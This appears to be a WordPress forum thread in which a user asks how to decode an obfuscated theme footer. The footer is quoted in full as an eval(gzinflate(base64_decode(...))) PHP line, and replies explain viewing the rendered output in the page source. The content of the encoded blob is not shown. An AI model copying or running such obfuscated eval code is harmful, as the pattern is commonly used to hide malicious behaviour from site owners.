    I got hold od a free, older theme…and the footer is encoded. It’s weird, because htere isn’t any advertising in the footer…it just mentions WordPress (without a link) and gives credit to the original developer. I have no problem with this (although the theme no longer looks the same…I just want to be able to add my own stuff too.

    Here’s the code:
    <?php $Obb138ebe9a15320ac8775acece4de30f='jVJRb5swEH5upP6HG6oKSAXUSXtJgajrtscqaiJVfUIGLrE3gy3bgebfzwaSdG0j7QXj+77v7rs7L/LLWUoVJO78EkWwWt8/reegmcGWdBBFFrBQzTpgdeZNcS//GCsMMxy9fGWv8Eg6tiWGiTZNLM/SLwZ+xYnWmVeKVy9/G5i0S7JFPSrSHR9UC0kl9LLgTJtCOjzwB7aNZNc1SkOz22s/vnJYoYUysX+46sKIAl8rvqsxXAzpkintwdVHY18/dfaEFbYGlkIbfWrprccr6TDIYIvWqPsP/HbXlKiGS/bND+9gIxSSigYTmehRFsIcRn+c5SkBqnCTgTcmNhQLiaohnLV/AptkkVuLR2gwOIYhTUieluM6L1JtJfwfZoOBz2/gF/xe3cCLH1pNmky0xJY+NoNtPVm9g/8d3Kdzu1cVZR2emZndq5sWmUh2s3uJWSNaQ/neh/BM8ePpXuzPxx/n3+tGCIPKy+FyBjDWLLnYsnYj7HZIg/5UA+xqe1RYw/c9PAtVS4VaQwRrig3CUomO1SN62I9HjZHzJOn7Pu4Pilgq4eWnBIPcrcWmei+sBBdtxZG0sTOlo+EbV6Lx8geHwYMDh6W+69wO4zTCsclg6sSRSlHvBzY1zfQCZn8B';eval(gzinflate(base64_decode($Obb138ebe9a15320ac8775acece4de30f))); ?>

    If someone can help me decode it I would be grateful.

    Actually, and explanation of how to decode would be nice too. I’ve seen decoders, but never seems to get them to work for me. I suspect I only paste in certain parts of hte above code, but not sure what parts.

    BTW, traditionally I don’t use themes with encoded footers, but I spent two days and many hours working on it, and neglected to check the footer before I started.

    Thanks!

    I also tried an experiment…and people might find this useful.

    It seems if you view the homepage of a theme that has an encrypted footer, you can right-click and view source…

    …the footer is decoded there. All you have to do is find the php that is the footer, copy it, and past it into the footer file replacing everything.

    Quick and simple as it turns out.

    …the footer is decoded there. All you have to do is find the php that is the footer, copy it, and past it into the footer file replacing everything.

    You can make it a little easier by wrapping the footer call so that the output stands out in the source view. For instance, look for <?php wp_footer(); ?> and do something like,

    <!--EVIL FOOTER-->
    <?php wp_footer(); ?>
    <!--EVIL FOOTER-->

    When you view the source code simply copy/paste everything between those comments.

    A large caveat: while this technique may work sometimes, it will not work all of the time. There may be PHP functions in the background that will NOT show up in the generated HTML. Same goes for javascript. Just so you know.

    Anyway, you can view the decoded version of that nonsense here.

    you guys are all amazing, thanks.

    Hi guys,
    I’ve tried all I knew (not much) to decode this, but I really need some help. Can you try this,
    Thanks
